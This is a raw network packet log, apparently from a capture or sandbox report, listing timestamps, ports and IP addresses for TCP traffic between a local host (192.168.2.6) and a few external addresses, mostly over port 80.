Nov 23, 2024 19:52:51.594885111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.595010996 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.595057964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.595057964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.608047962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.608074903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.608120918 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.609031916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.609137058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.609159946 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.609266043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.611308098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.611355066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.611387968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.611429930 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.654216051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.654316902 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.654364109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.654365063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.655172110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.655257940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.655642986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.655711889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.655719995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.655796051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.658195972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.658257008 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.658339977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.660370111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.660487890 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.660543919 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.662728071 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.662827015 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.662870884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.663079023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.665158987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.665241957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.665245056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.665287971 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.667432070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.667581081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.667691946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.667756081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.669663906 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.669740915 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.669764042 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.669925928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.671874046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.671957016 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.671984911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.672018051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.673836946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.673912048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.673955917 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.673998117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.675966024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.676042080 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.676069975 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.676105022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.678113937 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.678195000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.678246021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.678384066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.680272102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.680341005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.680370092 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.680558920 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.682367086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.682456970 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.682460070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.682723999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.684518099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.684621096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.684645891 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.684899092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.686274052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.686326981 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.686381102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.686507940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.688040018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.688138962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.688141108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.688210964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.689733028 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.689851046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.689862967 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.689910889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.691473007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.691571951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.691576958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.691627026 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.693176031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.693242073 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.693257093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.693295002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.694870949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.694951057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.694958925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.695014954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.696408033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.696517944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.696583033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.698069096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.698153019 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.698242903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.698296070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.699666977 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.699744940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.699805021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.699865103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.701294899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.701410055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.701462984 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.701598883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.702919960 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.703021049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.703042984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.703190088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.704616070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.704732895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.704780102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.704780102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.706165075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.706263065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.706289053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.706329107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.707793951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.707915068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.707952023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.707952023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.709450006 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.709558964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.709573984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.709619999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.711046934 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.711114883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.711158037 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.711236000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.712661982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.712755919 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.712786913 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.712973118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.714310884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.714433908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.714432955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.714490891 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.715934992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.716011047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.716092110 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.717572927 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.717663050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.717686892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.717735052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.719185114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.719239950 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.719321966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.719435930 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.720979929 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.721096039 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.721098900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.721146107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.722588062 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.722677946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.722692966 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.722724915 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.724044085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.724107027 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.724178076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.724246025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.725691080 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.725784063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.725853920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.725898981 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.727309942 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.727448940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.727483034 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.727576971 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.728940010 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.729007006 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.729041100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.729371071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.730592012 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.730633020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.730679989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.730679989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.732202053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.732311010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.732327938 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.732393026 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.733812094 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.733879089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.733939886 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.734026909 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.735512972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.735574007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.735620975 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.736898899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.736973047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.736993074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.737049103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.738267899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.738480091 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.776931047 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.776967049 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.777076006 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.777486086 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.777499914 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.784780979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.784852982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.784892082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.784892082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.785336018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.785412073 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.785456896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.785456896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.786628008 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.786689997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.786693096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.786746025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.787873030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.787919044 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.787960052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.787960052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.794816971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.794899940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.795047045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.795144081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.795483112 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.795581102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.795615911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.795663118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.796919107 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.797008038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.797013044 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.797079086 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.798257113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.798345089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.855207920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.855289936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.855324030 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.855499983 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.855848074 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.855995893 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.856017113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.856329918 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.857249022 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.857316971 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.857351065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.857475996 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.858494043 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.858633995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.858632088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.858680010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.859843016 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.859950066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.860040903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.860085964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.860990047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.861089945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.861109972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.861140013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.861886024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.861988068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.862000942 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.862036943 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.862847090 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.862942934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.862951040 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.863090038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.863723040 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.863780022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.863825083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.863907099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.864644051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.864732981 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.864770889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.864770889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.865580082 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.865668058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.865689993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.865855932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.866506100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.866590023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.866655111 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.867388010 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.867472887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.867482901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.867599964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.868305922 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.868377924 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.868401051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.868452072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.869218111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.869303942 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.869342089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.869342089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.870124102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.870217085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.870242119 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.870336056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.871025085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.871105909 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.871131897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.871401072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.871937037 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.871995926 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.872054100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.872170925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.872837067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.872912884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.872920990 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.873620033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.873749971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.873804092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.876707077 CET	443	49866	18.245.60.72	192.168.2.6
Nov 23, 2024 19:52:51.876796007 CET	49866	443	192.168.2.6	18.245.60.72
Nov 23, 2024 19:52:51.914741039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.914823055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.914877892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.914936066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.915005922 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.915023088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.915040016 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.915067911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.916151047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.916273117 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.916290998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.916312933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.916806936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.916891098 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.916927099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.917135954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.917712927 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.917817116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.917867899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.918608904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.918703079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.918718100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.918759108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.919532061 CET	80	49831	185.215.113.206	192.168.2.6
